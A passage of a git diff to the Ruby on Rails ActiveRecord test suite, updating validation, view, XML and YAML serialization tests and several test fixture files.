+ repair_validations(Topic, Reply)
Reply.validates_presence_of(:title)
@topic = Topic.new
@old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
@@ -14,7 +15,7 @@ class I18nValidationTest < ActiveRecord::TestCase
I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
end
- def teardown
+ teardown do
I18n.load_path.replace @old_load_path
I18n.backend = @old_backend
end
diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000000..4a92da38ce
--- /dev/null
+++ b/activerecord/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'models/owner'
+require 'models/pet'
+
+class LengthValidationTest < ActiveRecord::TestCase
+ fixtures :owners
+ repair_validations(Owner)
+
+ def test_validates_size_of_association
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+ end
+ end
+
+ def test_validates_size_of_association_using_within
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+
+ 2.times { o.pets.build('name' => 'apet') }
+ assert !o.save
+ assert o.errors[:pets].any?
+ end
+ end
+
+ def test_validates_size_of_association_utf8
+ repair_validations Owner do
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'ã‚ã„ã†ãˆãŠã‹ããã‘ã“')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'ã‚ã„ã†ãˆãŠã‹ããã‘ã“')
+ assert o.valid?
+ end
+ end
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 1de8934406..4f38849131 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -3,6 +3,8 @@ require "cases/helper"
require 'models/man'
require 'models/face'
require 'models/interest'
+require 'models/speedometer'
+require 'models/dashboard'
class PresenceValidationTest < ActiveRecord::TestCase
class Boy < Man; end
@@ -48,4 +50,19 @@ class PresenceValidationTest < ActiveRecord::TestCase
i2.mark_for_destruction
assert b.invalid?
end
+
+ def test_validates_presence_doesnt_convert_to_array
+ speedometer = Class.new(Speedometer)
+ speedometer.validates_presence_of :dashboard
+
+ dash = Dashboard.new
+
+ # dashboard has to_a method
+ def dash.to_a; ['(/)', '(\)']; end
+
+ s = speedometer.new
+ s.dashboard = dash
+
+ assert_nothing_raised { s.valid? }
+ end
end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 46212e49b6..524f59876e 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -30,8 +30,13 @@ class ReplyWithTitleObject < Reply
def title; ReplyTitle.new; end
end
+class TopicWithUniqEvent < Topic
+ belongs_to :event, foreign_key: :parent_id
+ validates :event, uniqueness: true
+end
+
class UniquenessValidationTest < ActiveRecord::TestCase
- fixtures :topics, 'warehouse-things', :developers
+ fixtures :topics, 'warehouse-things'
repair_validations(Topic, Reply)
@@ -49,10 +54,18 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert !t2.save, "Shouldn't save t2 as unique"
assert_equal ["has already been taken"], t2.errors[:title]
- t2.title = "Now Im really also unique"
+ t2.title = "Now I am really also unique"
assert t2.save, "Should now save t2 as unique"
end
+ def test_validate_uniqueness_with_alias_attribute
+ Topic.alias_attribute :new_title, :title
+ Topic.validates_uniqueness_of(:new_title)
+
+ topic = Topic.new(new_title: 'abc')
+ assert topic.valid?
+ end
+
def test_validates_uniqueness_with_nil_value
Topic.validates_uniqueness_of(:title)
@@ -205,7 +218,7 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert t_utf8.save, "Should save t_utf8 as unique"
# If database hasn't UTF-8 character set, this test fails
- if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8).title == "Ñ Ñ‚Ð¾Ð¶Ðµ уникальный!"
+ if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8.id).title == "Ñ Ñ‚Ð¾Ð¶Ðµ уникальный!"
t2_utf8 = Topic.new("title" => "Ñ Ñ‚Ð¾Ð¶Ðµ УÐИКÐЛЬÐЫЙ!")
assert !t2_utf8.valid?, "Shouldn't be valid"
assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
@@ -263,7 +276,7 @@ class UniquenessValidationTest < ActiveRecord::TestCase
end
def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
- Topic.validates_uniqueness_of(:title, :case_sensitve => true)
+ Topic.validates_uniqueness_of(:title, :case_sensitive => true)
Topic.create!('title' => 101)
t2 = Topic.new('title' => 101)
@@ -341,16 +354,36 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert w6.errors[:city].any?, "Should have errors for city"
assert_equal ["has already been taken"], w6.errors[:city], "Should have uniqueness message for city"
end
-
+
def test_validate_uniqueness_with_conditions
- Topic.validates_uniqueness_of(:title, :conditions => Topic.where('approved = ?', true))
+ Topic.validates_uniqueness_of :title, conditions: -> { where(approved: true) }
Topic.create("title" => "I'm a topic", "approved" => true)
Topic.create("title" => "I'm an unapproved topic", "approved" => false)
-
+
t3 = Topic.new("title" => "I'm a topic", "approved" => true)
assert !t3.valid?, "t3 shouldn't be valid"
-
+
t4 = Topic.new("title" => "I'm an unapproved topic", "approved" => false)
assert t4.valid?, "t4 should be valid"
end
+
+ def test_validate_uniqueness_with_non_callable_conditions_is_not_supported
+ assert_raises(ArgumentError) {
+ Topic.validates_uniqueness_of :title, conditions: Topic.where(approved: true)
+ }
+ end
+
+ def test_validate_uniqueness_on_existing_relation
+ event = Event.create
+ assert TopicWithUniqEvent.create(event: event).valid?
+
+ topic = TopicWithUniqEvent.new(event: event)
+ assert_not topic.valid?
+ assert_equal ['has already been taken'], topic.errors[:event]
+ end
+
+ def test_validate_uniqueness_on_empty_relation
+ topic = TopicWithUniqEvent.new
+ assert topic.valid?
+ end
end
diff --git a/activerecord/test/cases/validations_repair_helper.rb b/activerecord/test/cases/validations_repair_helper.rb
index 11912ca1cc..b30666d876 100644
--- a/activerecord/test/cases/validations_repair_helper.rb
+++ b/activerecord/test/cases/validations_repair_helper.rb
@@ -5,19 +5,15 @@ module ActiveRecord
module ClassMethods
def repair_validations(*model_classes)
teardown do
- model_classes.each do |k|
- k.reset_callbacks(:validate)
- end
+ model_classes.each(&:clear_validators!)
end
end
end
def repair_validations(*model_classes)
- yield
+ yield if block_given?
ensure
- model_classes.each do |k|
- k.reset_callbacks(:validate)
- end
+ model_classes.each(&:clear_validators!)
end
end
end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3f587d177b..959c58aa85 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -4,6 +4,7 @@ require 'models/topic'
require 'models/reply'
require 'models/person'
require 'models/developer'
+require 'models/computer'
require 'models/parrot'
require 'models/company'
@@ -14,28 +15,28 @@ class ValidationsTest < ActiveRecord::TestCase
# Other classes we mess with will be dealt with in the specific tests
repair_validations(Topic)
- def test_error_on_create
+ def test_valid_uses_create_context_when_new
r = WrongReply.new
r.title = "Wrong Create"
- assert !r.save
+ assert_not r.valid?
assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
assert_equal ["is Wrong Create"], r.errors[:title], "A reply with a bad content should contain an error"
end
- def test_error_on_update
+ def test_valid_uses_update_context_when_persisted
r = WrongReply.new
r.title = "Bad"
r.content = "Good"
- assert r.save, "First save should be successful"
+ assert r.save, "First validation should be successful"
r.title = "Wrong Update"
- assert !r.save, "Second save should fail"
+ assert_not r.valid?, "Second validation should fail"
assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
assert_equal ["is Wrong Update"], r.errors[:title], "A reply with a bad content should contain an error"
end
- def test_error_on_given_context
+ def test_valid_using_special_context
r = WrongReply.new(:title => "Valid title")
assert !r.valid?(:special_case)
assert_equal "Invalid", r.errors[:author_name].join
@@ -45,26 +46,53 @@ class ValidationsTest < ActiveRecord::TestCase
assert r.valid?(:special_case)
r.author_name = nil
- assert !r.save(:context => :special_case)
+ assert_not r.valid?(:special_case)
assert_equal "Invalid", r.errors[:author_name].join
r.author_name = "secret"
- assert r.save(:context => :special_case)
+ assert r.valid?(:special_case)
+ end
+
+ def test_validate
+ r = WrongReply.new
+
+ r.validate
+ assert_empty r.errors[:author_name]
+
+ r.validate(:special_case)
+ assert_not_empty r.errors[:author_name]
+
+ r.author_name = "secret"
+
+ r.validate(:special_case)
+ assert_empty r.errors[:author_name]
end
def test_invalid_record_exception
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
- begin
- r = WrongReply.new
+ r = WrongReply.new
+ invalid = assert_raise ActiveRecord::RecordInvalid do
r.save!
- flunk
- rescue ActiveRecord::RecordInvalid => invalid
- assert_equal r, invalid.record
+ end
+ assert_equal r, invalid.record
+ end
+
+ def test_validate_with_bang
+ assert_raise(ActiveRecord::RecordInvalid) do
+ WrongReply.new.validate!
end
end
+ def test_validate_with_bang_and_context
+ assert_raise(ActiveRecord::RecordInvalid) do
+ WrongReply.new.validate!(:special_case)
+ end
+ r = WrongReply.new(:title => "Valid title", :author_name => "secret", :content => "Good")
+ assert r.validate!(:special_case)
+ end
+
def test_exception_on_create_bang_many
assert_raise(ActiveRecord::RecordInvalid) do
WrongReply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
@@ -87,13 +115,13 @@ class ValidationsTest < ActiveRecord::TestCase
end
end
- def test_create_without_validation
+ def test_save_without_validation
reply = WrongReply.new
assert !reply.save
assert reply.save(:validate => false)
end
- def test_validates_acceptance_of_with_non_existant_table
+ def test_validates_acceptance_of_with_non_existent_table
Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
assert_nothing_raised ActiveRecord::StatementInvalid do
@@ -121,4 +149,17 @@ class ValidationsTest < ActiveRecord::TestCase
assert_equal 1, Company.validators_on(:name).size
end
+ def test_numericality_validation_with_mutation
+ Topic.class_eval do
+ attribute :wibble, ActiveRecord::Type::String.new
+ validates_numericality_of :wibble, only_integer: true
+ end
+
+ topic = Topic.new(wibble: '123-4567')
+ topic.wibble.gsub!('-', '')
+
+ assert topic.valid?
+ ensure
+ Topic.reset_column_information
+ end
end
diff --git a/activerecord/test/cases/view_test.rb b/activerecord/test/cases/view_test.rb
new file mode 100644
index 0000000000..3aed90ba36
--- /dev/null
+++ b/activerecord/test/cases/view_test.rb
@@ -0,0 +1,113 @@
+require "cases/helper"
+require "models/book"
+
+module ViewBehavior
+ extend ActiveSupport::Concern
+
+ included do
+ fixtures :books
+ end
+
+ class Ebook < ActiveRecord::Base
+ self.primary_key = "id"
+ end
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ create_view "ebooks", <<-SQL
+ SELECT id, name, status FROM books WHERE format = 'ebook'
+ SQL
+ end
+
+ def teardown
+ super
+ drop_view "ebooks"
+ end
+
+ def test_reading
+ books = Ebook.all
+ assert_equal [books(:rfr).id], books.map(&:id)
+ assert_equal ["Ruby for Rails"], books.map(&:name)
+ end
+
+ def test_table_exists
+ view_name = Ebook.table_name
+ assert @connection.table_exists?(view_name), "'#{view_name}' table should exist"
+ end
+
+ def test_column_definitions
+ assert_equal([["id", :integer],
+ ["name", :string],
+ ["status", :integer]], Ebook.columns.map { |c| [c.name, c.type] })
+ end
+
+ def test_attributes
+ assert_equal({"id" => 2, "name" => "Ruby for Rails", "status" => 0},
+ Ebook.first.attributes)
+ end
+
+ def test_does_not_assume_id_column_as_primary_key
+ model = Class.new(ActiveRecord::Base) do
+ self.table_name = "ebooks"
+ end
+ assert_nil model.primary_key
+ end
+end
+
+if ActiveRecord::Base.connection.supports_views?
+class ViewWithPrimaryKeyTest < ActiveRecord::TestCase
+ include ViewBehavior
+
+ private
+ def create_view(name, query)
+ @connection.execute "CREATE VIEW #{name} AS #{query}"
+ end
+
+ def drop_view(name)
+ @connection.execute "DROP VIEW #{name}" if @connection.table_exists? name
+ end
+end
+
+class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase
+ fixtures :books
+
+ class Paperback < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.execute <<-SQL
+ CREATE VIEW paperbacks
+ AS SELECT name, status FROM books WHERE format = 'paperback'
+ SQL
+ end
+
+ teardown do
+ @connection.execute "DROP VIEW paperbacks" if @connection.table_exists? "paperbacks"
+ end
+
+ def test_reading
+ books = Paperback.all
+ assert_equal ["Agile Web Development with Rails"], books.map(&:name)
+ end
+
+ def test_table_exists
+ view_name = Paperback.table_name
+ assert @connection.table_exists?(view_name), "'#{view_name}' table should exist"
+ end
+
+ def test_column_definitions
+ assert_equal([["name", :string],
+ ["status", :integer]], Paperback.columns.map { |c| [c.name, c.type] })
+ end
+
+ def test_attributes
+ assert_equal({"name" => "Agile Web Development with Rails", "status" => 0},
+ Paperback.first.attributes)
+ end
+
+ def test_does_not_have_a_primary_key
+ assert_nil Paperback.primary_key
+ end
+end
+end
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 68fa15de50..c34e7d5a30 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require "rexml/document"
require 'models/contact'
require 'models/post'
require 'models/author'
@@ -161,21 +162,17 @@ end
class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
def test_should_serialize_datetime_with_timezone
- timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
- toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
- assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
- ensure
- Time.zone = timezone
+ with_timezone_config zone: "Pacific Time (US & Canada)" do
+ toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ end
end
def test_should_serialize_datetime_with_timezone_reloaded
- timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
- toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
- assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
- ensure
- Time.zone = timezone
+ with_timezone_config zone: "Pacific Time (US & Canada)" do
+ toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ end
end
end
@@ -229,7 +226,6 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
xml = REXML::Document.new(topics(:first).to_xml(:indent => 0))
bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema
written_on_in_current_timezone = topics(:first).written_on.xmlschema
- last_read_in_current_timezone = topics(:first).last_read.xmlschema
assert_equal "topic", xml.root.name
assert_equal "The First Topic" , xml.elements["//title"].text
@@ -251,14 +247,9 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
assert_equal "integer", xml.elements["//parent-id"].attributes['type']
assert_equal "true", xml.elements["//parent-id"].attributes['nil']
- if current_adapter?(:SybaseAdapter)
- assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
- assert_equal "dateTime" , xml.elements["//last-read"].attributes['type']
- else
- # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
- assert_equal "2004-04-15", xml.elements["//last-read"].text
- assert_equal "date" , xml.elements["//last-read"].attributes['type']
- end
+ # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+ assert_equal "2004-04-15", xml.elements["//last-read"].text
+ assert_equal "date" , xml.elements["//last-read"].attributes['type']
# Oracle and DB2 don't have true boolean or time-only fields
unless current_adapter?(:OracleAdapter, :DB2Adapter)
@@ -425,8 +416,9 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
def test_should_support_aliased_attributes
xml = Author.select("name as firstname").to_xml
- array = Hash.from_xml(xml)['authors']
- assert_equal array.size, array.select { |author| author.has_key? 'firstname' }.size
+ Author.all.each do |author|
+ assert xml.include?(%(<firstname>#{author.name}</firstname>)), xml
+ end
end
def test_array_to_xml_including_has_many_association
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 302913e095..bce59b4fcd 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -1,20 +1,17 @@
require 'cases/helper'
require 'models/topic'
+require 'models/reply'
+require 'models/post'
+require 'models/author'
class YamlSerializationTest < ActiveRecord::TestCase
- fixtures :topics
+ fixtures :topics, :authors, :posts
def test_to_yaml_with_time_with_zone_should_not_raise_exception
- tz = Time.zone
- Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
- ActiveRecord::Base.time_zone_aware_attributes = true
-
- topic = Topic.new(:written_on => DateTime.now)
- assert_nothing_raised { topic.to_yaml }
-
- ensure
- Time.zone = tz
- ActiveRecord::Base.time_zone_aware_attributes = false
+ with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+ topic = Topic.new(:written_on => DateTime.now)
+ assert_nothing_raised { topic.to_yaml }
+ end
end
def test_roundtrip
@@ -29,13 +26,6 @@ class YamlSerializationTest < ActiveRecord::TestCase
assert_equal({:omg=>:lol}, YAML.load(YAML.dump(topic)).content)
end
- def test_encode_with_coder
- topic = Topic.first
- coder = {}
- topic.encode_with coder
- assert_equal({'attributes' => topic.attributes}, coder)
- end
-
def test_psych_roundtrip
topic = Topic.first
assert topic
@@ -49,4 +39,48 @@ class YamlSerializationTest < ActiveRecord::TestCase
t = Psych.load Psych.dump topic
assert_equal topic.attributes, t.attributes
end
+
+ def test_active_record_relation_serialization
+ [Topic.all].to_yaml
+ end
+
+ def test_raw_types_are_not_changed_on_round_trip
+ topic = Topic.new(parent_id: "123")
+ assert_equal "123", topic.parent_id_before_type_cast
+ assert_equal "123", YAML.load(YAML.dump(topic)).parent_id_before_type_cast
+ end
+
+ def test_cast_types_are_not_changed_on_round_trip
+ topic = Topic.new(parent_id: "123")
+ assert_equal 123, topic.parent_id
+ assert_equal 123, YAML.load(YAML.dump(topic)).parent_id
+ end
+
+ def test_new_records_remain_new_after_round_trip
+ topic = Topic.new
+
+ assert topic.new_record?, "Sanity check that new records are new"
+ assert YAML.load(YAML.dump(topic)).new_record?, "Record should be new after deserialization"
+
+ topic.save!
+
+ assert_not topic.new_record?, "Saved records are not new"
+ assert_not YAML.load(YAML.dump(topic)).new_record?, "Saved record should not be new after deserialization"
+
+ topic = Topic.select('title').last
+
+ assert_not topic.new_record?, "Loaded records without ID are not new"
+ assert_not YAML.load(YAML.dump(topic)).new_record?, "Record should not be new after deserialization"
+ end
+
+ def test_types_of_virtual_columns_are_not_changed_on_round_trip
+ author = Author.select('authors.*, count(posts.id) as posts_count')
+ .joins(:posts)
+ .group('authors.id')
+ .first
+ dumped = YAML.load(YAML.dump(author))
+
+ assert_equal 5, author.posts_count
+ assert_equal 5, dumped.posts_count
+ end
end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
index 479b8c050d..e3b55d640e 100644
--- a/activerecord/test/config.example.yml
+++ b/activerecord/test/config.example.yml
@@ -51,32 +51,11 @@ connections:
password: arunit
database: arunit2
- firebird:
- arunit:
- host: localhost
- username: rails
- password: rails
- charset: UTF8
- arunit2:
- host: localhost
- username: rails
- password: rails
- charset: UTF8
-
- frontbase:
- arunit:
- host: localhost
- username: rails
- session_name: unittest-<%= $$ %>
- arunit2:
- host: localhost
- username: rails
- session_name: unittest-<%= $$ %>
-
mysql:
arunit:
username: rails
encoding: utf8
+ collation: utf8_unicode_ci
arunit2:
username: rails
encoding: utf8
@@ -85,16 +64,11 @@ connections:
arunit:
username: rails
encoding: utf8
+ collation: utf8_unicode_ci
arunit2:
username: rails
encoding: utf8
- openbase:
- arunit:
- username: admin
- arunit2:
- username: admin
-
oracle:
arunit:
adapter: oracle_enhanced
@@ -130,11 +104,3 @@ connections:
arunit2:
adapter: sqlite3
database: ':memory:'
-
- sybase:
- arunit:
- host: database_ASE
- username: sa
- arunit2:
- host: database_ASE
- username: sa
diff --git a/activerecord/test/fixtures/all/admin b/activerecord/test/fixtures/all/admin
new file mode 120000
index 0000000000..984d12a043
--- /dev/null
+++ b/activerecord/test/fixtures/all/admin
@@ -0,0 +1 @@
+../to_be_linked/ \ No newline at end of file
diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
index fb48645456..abe56752c6 100644
--- a/activerecord/test/fixtures/books.yml
+++ b/activerecord/test/fixtures/books.yml
@@ -2,8 +2,10 @@ awdr:
author_id: 1
id: 1
name: "Agile Web Development with Rails"
+ format: "paperback"
rfr:
author_id: 1
id: 2
name: "Ruby for Rails"
+ format: "ebook"
diff --git a/activerecord/test/fixtures/bulbs.yml b/activerecord/test/fixtures/bulbs.yml
new file mode 100644
index 0000000000..e5ce2b796c
--- /dev/null
+++ b/activerecord/test/fixtures/bulbs.yml
@@ -0,0 +1,5 @@
+defaulty:
+ name: defaulty
+
+special:
+ name: special
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index 0766e92027..ab9d5378ad 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -57,3 +57,11 @@ odegy:
id: 9
name: Odegy
type: ExclusivelyDependentFirm
+
+another_first_firm_client:
+ id: 11
+ type: Client
+ firm_id: 1
+ client_of: 1
+ name: Apex
+ firm_name: 37signals
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
index daf969d7da..ad5ae2ec71 100644
--- a/activerecord/test/fixtures/computers.yml
+++ b/activerecord/test/fixtures/computers.yml
@@ -1,4 +1,10 @@
workstation:
id: 1
+ system: 'Linux'
+ developer: 1
+ extendedWarranty: 1
+
+laptop:
+ system: 'MacOS 1'
developer: 1
extendedWarranty: 1
diff --git a/activerecord/test/fixtures/developers.yml b/activerecord/test/fixtures/developers.yml
index 3656564f63..54b74e7a74 100644
--- a/activerecord/test/fixtures/developers.yml
+++ b/activerecord/test/fixtures/developers.yml
@@ -2,6 +2,7 @@ david:
id: 1
name: David
salary: 80000
+ shared_computers: laptop
jamis:
id: 2
@@ -18,4 +19,4 @@ dev_<%= digit %>:
poor_jamis:
id: 11
name: Jamis
- salary: 9000 \ No newline at end of file
+ salary: 9000
diff --git a/activerecord/test/fixtures/dog_lovers.yml b/activerecord/test/fixtures/dog_lovers.yml
index d3e5e4a1aa..3f4c6c9e4c 100644
--- a/activerecord/test/fixtures/dog_lovers.yml
+++ b/activerecord/test/fixtures/dog_lovers.yml
@@ -2,3 +2,6 @@ david:
id: 1
bred_dogs_count: 0
trained_dogs_count: 1
+joanna:
+ id: 2
+ dogs_count: 1
diff --git a/activerecord/test/fixtures/dogs.yml b/activerecord/test/fixtures/dogs.yml
index 16d19be2c5..b5eb2c7b74 100644
--- a/activerecord/test/fixtures/dogs.yml
+++ b/activerecord/test/fixtures/dogs.yml
@@ -1,3 +1,4 @@
sophie:
id: 1
trainer_id: 1
+ dog_lover_id: 2
diff --git a/activerecord/test/fixtures/fk_test_has_pk.yml b/activerecord/test/fixtures/fk_test_has_pk.yml
index c93952180b..73882bac41 100644
--- a/activerecord/test/fixtures/fk_test_has_pk.yml
+++ b/activerecord/test/fixtures/fk_test_has_pk.yml
@@ -1,2 +1,2 @@
first:
- id: 1 \ No newline at end of file
+ pk_id: 1 \ No newline at end of file
diff --git a/activerecord/test/fixtures/friendships.yml b/activerecord/test/fixtures/friendships.yml
index 1ee09175bf..ae0abe0162 100644
--- a/activerecord/test/fixtures/friendships.yml
+++ b/activerecord/test/fixtures/friendships.yml
@@ -1,4 +1,4 @@
Connection 1:
id: 1
- person_id: 1
- friend_id: 2 \ No newline at end of file
+ friend_id: 1
+ follower_id: 2
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
index 2d21ce433c..3b7b29bb34 100644
--- a/activerecord/test/fixtures/owners.yml
+++ b/activerecord/test/fixtures/owners.yml
@@ -2,6 +2,7 @@ blackbeard:
owner_id: 1
name: blackbeard
essay_id: A Modest Proposal
+ happy_at: '2150-10-10 16:00:00'
ashley:
owner_id: 2
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
index e640a38f1f..0ec05e8d56 100644
--- a/activerecord/test/fixtures/people.yml
+++ b/activerecord/test/fixtures/people.yml
@@ -5,6 +5,7 @@ michael:
number1_fan_id: 3
gender: M
followers_count: 1
+ friends_too_count: 1
david:
id: 2
first_name: David
@@ -12,6 +13,7 @@ david:
number1_fan_id: 1
gender: M
followers_count: 1
+ friends_too_count: 1
susan:
id: 3
first_name: Susan
@@ -19,3 +21,4 @@ susan:
number1_fan_id: 1
gender: F
followers_count: 1
+ friends_too_count: 1
diff --git a/activerecord/test/fixtures/pets.yml b/activerecord/test/fixtures/pets.yml
index a1601a53f0..2ec4f53e6d 100644
--- a/activerecord/test/fixtures/pets.yml
+++ b/activerecord/test/fixtures/pets.yml
@@ -12,3 +12,8 @@ mochi:
pet_id: 3
name: mochi
owner_id: 2
+
+bulbul:
+ pet_id: 4
+ name: bulbul
+ owner_id: 1
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
index 6004f390a4..1bb3bf0051 100644
--- a/activerecord/test/fixtures/pirates.yml
+++ b/activerecord/test/fixtures/pirates.yml
@@ -7,3 +7,6 @@ redbeard:
parrot: louis
created_on: "<%= 2.weeks.ago.to_s(:db) %>"
updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
+
+mark:
+ catchphrase: "X $LABELs the spot!"
diff --git a/activerecord/test/fixtures/posts.yml b/activerecord/test/fixtures/posts.yml
index 7298096025..86d46f753a 100644
--- a/activerecord/test/fixtures/posts.yml
+++ b/activerecord/test/fixtures/posts.yml
@@ -4,7 +4,6 @@ welcome:
title: Welcome to the weblog
body: Such a lovely day
comments_count: 2
- taggings_count: 1
tags_count: 1
type: Post
@@ -14,7 +13,6 @@ thinking:
title: So I was thinking
body: Like I hopefully always am
comments_count: 1
- taggings_count: 1
tags_count: 1
type: SpecialPost
diff --git a/activerecord/test/fixtures/readers.yml b/activerecord/test/fixtures/readers.yml
index 8a6076655b..14b883f041 100644
--- a/activerecord/test/fixtures/readers.yml
+++ b/activerecord/test/fixtures/readers.yml
@@ -2,8 +2,10 @@ michael_welcome:
id: 1
post_id: 1
person_id: 1
+ first_post_id: 2
michael_authorless:
id: 2
post_id: 3
- person_id: 1 \ No newline at end of file
+ person_id: 1
+ first_post_id: 3
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
index bfc6b238b1..2da541c539 100644
--- a/activerecord/test/fixtures/sponsors.yml
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -8,5 +8,5 @@ boring_club_sponsor_for_groucho:
sponsorable_type: Member
crazy_club_sponsor_for_groucho:
sponsor_club: crazy_club
- sponsorable_id: 2
+ sponsorable_id: 3
sponsorable_type: Member
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
index 402ca85faf..c38b32b0e5 100644
--- a/activerecord/test/fixtures/tasks.yml
+++ b/activerecord/test/fixtures/tasks.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
first_task:
id: 1
starting: 2005-03-30t06:30:00.00+01:00
diff --git a/activerecord/test/fixtures/to_be_linked/accounts.yml b/activerecord/test/fixtures/to_be_linked/accounts.yml
new file mode 100644
index 0000000000..9e341a15af
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+ name: 37signals
diff --git a/activerecord/test/fixtures/to_be_linked/users.yml b/activerecord/test/fixtures/to_be_linked/users.yml
new file mode 100644
index 0000000000..e2884beda5
--- /dev/null
+++ b/activerecord/test/fixtures/to_be_linked/users.yml
@@ -0,0 +1,10 @@
+david:
+ name: David
+ account: signals37
+
+jamis:
+ name: Jamis
+ account: signals37
+ settings:
+ :symbol: symbol
+ string: string
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 2b042bd135..4c98b10380 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -6,7 +6,7 @@ first:
written_on: 2003-07-16t15:28:11.2233+01:00
last_read: 2004-04-15
bonus_time: 2005-01-30t15:28:00.00+01:00
- content: Have a nice day
+ content: "--- Have a nice day\n...\n"
approved: false
replies_count: 1
@@ -15,7 +15,7 @@ second:
title: The Second Topic of the day
author_name: Mary
written_on: 2004-07-15t15:28:00.0099+01:00
- content: Have a nice day
